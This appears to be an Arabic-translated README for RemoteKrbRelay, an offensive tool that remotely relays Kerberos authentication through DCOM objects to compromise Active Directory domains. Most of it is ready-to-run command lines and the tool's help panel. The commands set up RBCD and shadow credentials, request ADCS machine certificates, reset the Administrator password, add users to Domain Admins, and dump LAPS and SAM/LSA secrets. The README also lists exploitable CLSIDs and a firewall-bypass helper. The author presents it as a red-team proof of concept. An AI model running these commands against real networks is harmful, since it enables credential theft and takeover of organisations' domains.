
ترحيل Kerberos عن بُعد أصبح سهلاً! إطار عمل متقدم لترحيل Kerberos
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
ربما تعرف KrbRelay و KrbRelayUp، لكن ماذا لو أخبرتك أنه يمكن القيام بذلك عن بُعد؟ مع RemoteKrbRelay يصبح هذا حقيقة.
تعرّف أكثر على CertifiedDCOM هنا. يتيح لك CertifiedDCOM تشغيل حساب آلة ADCS:
# CertifiedDCOM (Abuse AD CS by setting RBCD)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM (Abuse ADCS to get Machine cert)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM (Abuse ADCS with ShadowCreds)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
يوجد أيضًا استغلال SilverPotato. يمكنك استخدامه لاستغلال الجلسات، بما في ذلك جلسة مسؤول المجال على مضيف تابع لجهة خارجية.
# Change user password
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# Add user to group
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# Dump LAPS passwords
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Send LDAP Whoami request from relayed user
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Trigger authentication from another session
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
الآن، أمامك أربعة مجلدات:
Checker - إصدار قديم من الفاحص لاكتشاف كائنات DCOM القابلة للاستغلال؛Checkerv2.0 - إصدار جديد من الفاحص لاكتشاف كائنات DCOM القابلة للاستغلال؛Exploit - RemoteKrbRelay.exe :)FindAvailablePort - أداة لتجاوز جدار الحماية عند استخدام الاستغلال.لنبدأ إذًا مع Checker. يمكنك استخدامه لاكتشاف كائنات DCOM القابلة للاستغلال. يمكن اعتبار كائن DCOM قابلاً للاستغلال إذا:
NT AUTHORITY\LOCAL SERVICE، لأنه يستخدم بيانات اعتماد فارغة للمصادقة من الشبكة؛RemoteLaunch و RemoteActivation. هذه هي LaunchPermissions؛RPC_C_IMP_LEVEL_IDENTIFY أو أعلى. RPC_C_IMP_LEVEL_IDENTIFY هو القيمة الافتراضية؛RemoteAccess (أو يجب أن تكون فارغة). هذه هي AccessPermission.للكشف السهل، يمكنك استخدام Checkerv2.0. وهو يدعم الإخراج بصيغتي csv و xlsx.
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 Collection
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
Check.exe
Small tool that allow you to find vulnerable DCOM applications
[OPTIONS]
-outfile : output filename
-outformat : output format. Accepted 'csv' and 'xlsx'
-showtable : show the xlsx table when it gets filled
-h/--help : shows this windows
مثال:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
وستحصل على مخرجات مثل هذه:

ستحتوي الأعمدة على CLSIDs لكائنات DCOM وأسمائها وصلاحيات LaunchPermission و AccessPermission.

جرّب البحث عن كائنات sppui (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}، APPID {0868DC9B-D9A2-4f64-9362-133CEA201299}) و CertSrv Request (CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) وافهم لماذا هي قابلة للاستغلال.
لا تستخدم Checker، استخدم Checkerv2.0 فقط من فضلك :3
أداة صغيرة لاكتشاف منفذ يمكن من خلاله تشغيل خادم DCOM خبيث. راجع التفاصيل هنا (Remote -> Local Potato).

تدرّب على استخدام مفهوم المنفذ المحلي. أعد كتابة RemotePotato0 ليعمل على منفذ محلي. ثق بي، هذا مفيد.
لقد أضفت قدرًا لا بأس به من الوظائف المختلفة إلى الاستغلال. لاحظ أنه يوفر وظائف كافية لاستغلال كائنات DCOM. لقد أدرجت أيضًا عددًا من CLSIDs في Help للاستغلال. كانت هذه CLSIDs معروفة للعموم، لكن لم تكن هناك إثباتات برمجية (POC) لاستغلالها. هناك عدد غير قليل من كائنات DCOM القابلة للاستغلال، اعمل مع الفاحص واعثر عليها جميعًا!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[HELP PANEL]
RemoteKrbRelay.exe
Relaying Remote Kerberos Auth by easy way
Usage: RemoteKrbRelay.exe [ATTACKS] [REQUIRED OPTIONS] [OPTIONAL PARAMS] [ATTACK OPTIONS] [SWITCHES]
[ATTACKS] (one required!)
-rbcd : relay to LDAP and setup RBCD
-adcs : relay to HTTP Web Enrollment and get certificate
-smb : relay to SMB
-shadowcred : relay to LDAP and setup Shadow Credentials
-chp : relay to LDAP and change user password
-addgroupmember : relay to LDAP and add user to group
-laps : relay to LDAP and extract LAPS passwords
-ldapwhoami : relay to LDAP and get info about relayed user
[REQUIRED OPTIONS]
-target : relay to this target
-victim : relay this computer
-clsid : target CLSID to abuse
[OPTIONAL PARAMS]
-spn : with ticket on this SPN victim will come to us. For ex: ldap/dc01.root.apchi - tkt for RBCD mode , http/dc01.root.apchi - tkt for ADCS mode
-d/--domain : current (target) domain
-dc/--domaincontoller : target DC
-local : current computer hostname. This host will be in OBJREF.
[ATTACK OPTIONS]
[SMB OPTIONS (Relay to SMB)]
--smbkeyword : specify 'secrets' or 'service-add' or 'interactive'
--servicename : service-add cmdlet. Name of new service
--servicecmd : service-add cmdlet. Commandline of the service
[ADCS OPTIONS (Relay to HTTP)]
-template : ADCS Mode only. Template to relay to
[RBCD OPTIONS (Relay to LDAP)]
-c/--create : Create new computer
-cn/--computername : Computer name that will be written to msDs-AllowedToActOnBehalfOfOtherIdentity
-cp/--computerpassword : requires -c switch. Password for new computer
--victimdn : DN of victim computer
[CHANGE PASSWORD OPTIONS (Relay to LDAP)]
-chpuser : the name of the user whose password you want to change
-chppass : new password
[ADD GROUP MEMBER OPTIONS (Relay to LDAP)]
-group : group name
-groupuser : user to add to the group
-groupdn : target group DN
-userdn : target user DN
[SHADOWCRED OPTIONS (Relay to LDAP)]
-forceshadowcred : force shadow creds
[LAPS OPTIONS (Relay to LDAP)]
-lapsdevice : Optional param. Target computer hostname to dump laps from
[SWITCHES]
-h/--help : show help
-debug : show debug info
-secure : use SSL for connection to LDAP/HTTP/etc
-p/--port : port to deploy rogue dcom server
-session : cross-session activation. Useful when instantiating com objects with RunAs value as "The Interactive User"
-module : default "System". It is for firewall bypass
[EXAMPLES]
[1] Trigger kerberos authentication from adcs.root.apchi (-victim). Then relay to dc01.root.apchi (-target). And setup RBCD (u can optionally provide -dc because setuping RBCD requires connection to ldap on DC) from adcs.root.apchi to FAKEMACHINE$ (-cn). As a result u can pwn adcs.root.apchi from FAKEMACHINE$ through RBCD
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and open interactive SMB Console.
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[3] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and dump SAM/LSA secrets from win10.root.apchi.
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[4] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and create service.
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[5] Get machine certificate from kerberos relay
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] Shadow Creds
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] Change user password
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] Dump LAPS passwords
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] Send LDAP Whoami request from relayed user
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] Trigger authentication from another session
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] Interesting CLSIDs to use
dea794e0-1c1d-4363-b171-98d0b1703586 - Interactive User. U can use with -session switch. U should be in NT AUTHORITY\Interactive
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - Interactive User. U can use with -session switch. U should be in Distributed COM Users or Performance Log Users
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - System account. On victim computer should be installed AD CS
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - System account. On victim computer should be installed AD CS
أقترح الاطلاع على بعض الهجمات:
RBCD - إعادة توجيه إلى LDAP وإعداد RBCD.

HTTP ADCS - إعادة توجيه إلى خدمة تسجيل الويب.

ShadowCred - إعادة توجيه إلى LDAP وإعداد ShadowCreds.

إضافة مستخدم إلى مجموعة

طلب LDAP Whoami - من المناسب دمجه مع وظيفة تخمين CLSID (Bruteforce). يمكنك معرفة أي مستخدم تقوم بتشغيله. جرّب التشغيل لجلسات الخمس الأولى على جميع أجهزة المجال. وااو، هذا يعني مسؤول مجال في خمس دقائق؟ :)

يدعم التفعيل عبر الجلسات باستخدام -session:


وكذلك LAPS، وتغيير كلمة مرور المستخدم، و smb....
فيديو توضيحي:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# but I haven't implemented the relay from Initial OXID Request yet. Do it BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- this is DNS A record that points to kali (thx to CredMarshalTargetInfo() because i can receive tkt on RPCSS/dc01)
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
الثغرة خطيرة جدًا. لاحظ أن هذا هو الحد الأدنى من إثبات المفهوم (POC). يجب عليك تحسينه إذا أردت استخدامه بثبات في مشاريع فريق الاختراق (Red Team) الخاصة بك.
شكرًا لعدم نشر إثبات المفهوم على CertifiedDCOM و SilverPotato، كنت متحمسًا لتنفيذهما بناءً على تلك المقالات :D